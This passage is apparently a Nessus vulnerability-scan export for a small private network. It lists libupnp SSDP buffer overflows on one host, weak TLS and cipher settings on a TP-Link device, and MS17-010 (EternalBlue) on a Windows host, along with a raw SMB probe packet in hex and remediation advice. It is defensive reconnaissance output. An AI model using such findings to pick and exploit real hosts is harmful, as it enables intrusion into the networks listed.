    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5963		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		121010						None		192.168.0.25		tcp		8009		TLS Version 1.1 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1.
TLS 1.1 lacks support for current and recommended cipher suites.
Ciphers that support encryption before MAC computation, and
authenticated encryption modes such as GCM cannot be used with
TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 
and higher will no longer function properly with major web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.										None								1/8/19		8/7/20

		121010						None		192.168.0.25		tcp		8443		TLS Version 1.1 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1.
TLS 1.1 lacks support for current and recommended cipher suites.
Ciphers that support encryption before MAC computation, and
authenticated encryption modes such as GCM cannot be used with
TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 
and higher will no longer function properly with major web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.										None								1/8/19		8/7/20

		136318						None		192.168.0.25		tcp		8009		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		136318						None		192.168.0.25		tcp		8443		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		138330						None		192.168.0.25		tcp		8009		TLS Version 1.3 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.3.		N/A		https://tools.ietf.org/html/rfc8446		TLSv1.3 is enabled and the server supports at least one cipher.										None								7/9/20		7/9/20

		10114		CVE-1999-0524		0		None		192.168.0.26		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10267						None		192.168.0.26		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-dropbear_2015.67
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.26		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.26 : 
192.168.0.35
192.168.0.26

Hop Count: 1
										None								11/27/99		8/20/20

		10863						None		192.168.0.26		tcp		443		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: CN
Common Name: TP-Link

Issuer Name: 

Country: CN
Common Name: TP-Link

Serial Number: 00 94 D4 AB 13 2E 27 80 4D 

Version: 1

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Jul 03 10:51:25 2020 GMT
Not Valid After: Jul 02 10:51:25 2025 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 9D AC D3 8B 75 2C 6D B4 5A 3B 6C B9 46 BC C8 DD F3 BF 31 
            85 1C 7B F6 2C 2C B6 16 C4 89 85 E8 AD 5E B1 29 2B 49 9F 2A 
            C5 3F 8D FD F9 E8 7D 7E 0B AC 35 B1 6A D5 3E 0A 81 27 BE 56 
            FA 88 3E F9 6A F3 DC C3 3F 4E FB D0 AD 2F 5B 0D 11 DD EE 03 
            4C 25 83 29 59 38 36 22 4F FF D3 32 5C 82 7D 4C 05 45 F1 D0 
            34 26 A2 5D DE D7 24 82 1A AE F6 01 C0 91 05 52 AF C8 EC 46 
            04 97 89 78 AF CA 15 C6 39 
Exponent: 01 00 01 

Signature Length: 128 bytes / 1024 bits
Signature: 00 0A FB AC 39 2B 20 94 E4 F2 E0 5B 99 FA 1F 88 67 26 DF 39 
           CE A6 51 08 A9 8F BA F4 A1 F4 4B 64 5A 65 E3 35 EE 33 1C 46 
           47 6E F8 AE 74 8F 7C 07 03 93 D7 BF 2F 48 05 E0 E1 8D 29 26 
           B7 BC 22 49 0E 60 9F 5E 25 62 84 BF 88 51 53 BE FF 49 C9 EF 
           57 81 76 19 6A 56 86 5B 3F 24 BC 82 3A 23 11 6E B1 59 C6 D9 
           CB B1 82 F6 B2 3C D1 47 93 7F BA 3C EA E1 57 7A A5 FF B2 74 
           20 C5 8F 3C E1 77 45 4F AB 

Fingerprints : 

SHA-256 Fingerprint: 2B 1A B7 94 F3 9A 13 73 D0 26 56 64 6F DC 98 8B 41 49 B6 AF 
                     83 AF 5A B9 A7 7D 95 58 67 EA 1E D8 
SHA-1 Fingerprint: 4E 90 6C AF 12 CC BA 2F 9D E8 AB 44 08 19 C7 E8 9A 91 3D 6A 
MD5 Fingerprint: 7F 27 17 3E 57 F0 13 31 66 F1 1A F5 55 77 39 9B 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11219						None		192.168.0.26		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.26		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.26		tcp		443		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 443/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.26		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 3.1
Linux Kernel 3.3
Confidence level : 59
Method : SinFP

 
The remote host is running one of these operating systems : 
Linux Kernel 3.1
Linux Kernel 3.3										None								12/9/03		3/9/20

		12053						None		192.168.0.26		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.26 resolves as deco-E4R.
										None								2/11/04		4/14/17

		19506						None		192.168.0.26		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 302 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.26		tcp		443		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1
  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.26		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.26		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.26		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.26		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

		24260						None		192.168.0.26		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:12:06 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.26		tcp		443		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:12:07 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		25220						None		192.168.0.26		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		64394		CVE-2012-5964		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		35716						None		192.168.0.26		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

D8:47:32:3B:B1:7C : TP-LINK TECHNOLOGIES CO.,LTD.
										None								2/19/09		5/13/20

		64394		CVE-2012-5965		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		45410						None		192.168.0.26		tcp		443		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  deco-e4r

The Common Name in the certificate is :

  tp-link
										None								4/3/10		6/25/19

		45590						None		192.168.0.26		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE's : 

  cpe:/o:linux:linux_kernel:3.1
  cpe:/o:linux:linux_kernel:3.3
										None								4/21/10		9/30/20

		50845						None		192.168.0.26		tcp		443		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		97833		CVE-2017-0143		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
http://www.nessus.org/u?321523eb
http://www.nessus.org/u?065561d0
http://www.nessus.org/u?d9f569cf
https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
http://www.nessus.org/u?b9d9ebf9
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3
https://github.com/stamparm/EternalRocks/
http://www.nessus.org/u?59db5b5b		Sent:
00000054ff534d4225000000001803c8000000000000000000000000000858390008000110000000
00ffffffff0000000000000000000000005400000054000200230000001100005c00500049005000
45005c0000000000

Received:
ff534d4225050200c09803c80000000000000000000000000008583900080001000000
		I		8.1		8.1		7.7		High		96703;96704;96705;96706;96707;96709		EDB-ID:41891;EDB-ID:41987;MSFT:MS17-010;IAVA:2017-A-0065		4012212;4012213;4012214;4012215;4012216;4012217;4012606;4013198;4013429;4012598		3/20/17		10/15/20		TRUE		TRUE		TRUE

		54615						None		192.168.0.26		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 59
										None								5/23/11		5/23/11

		56984						None		192.168.0.26		tcp		443		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0.
										None								12/1/11		7/9/20

		97833		CVE-2017-0144		9.3		High		192.168.0.31		tcp		445		MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host is affected by the following vulnerabilities :

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit these
    vulnerabilities, via a specially crafted packet, to
    execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
    CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

  - An information disclosure vulnerability exists in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of certain requests. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted packet, to disclose sensitive
    information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are
four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by a group known as the Shadow Brokers. WannaCry /
WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group
vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads
via ETERNALBLUE.		Microsoft has released a set of patches for Windows Vista, 2008, 7,
2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also
released emergency patches for Windows operating systems that are no
longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft
recommends that users discontinue the use of SMBv1. SMBv1 lacks
security features that were included in later SMB versions. SMBv1 can
be disabled by following the vendor instructions provided in Microsoft
KB2696547. Additionally, US-CERT recommends that users block SMB
directly by blocking TCP port 445 on all network boundary devices. For
SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137
/ 138 on all network boundary devices.		http://www.nessus.org/u?68fc8eff
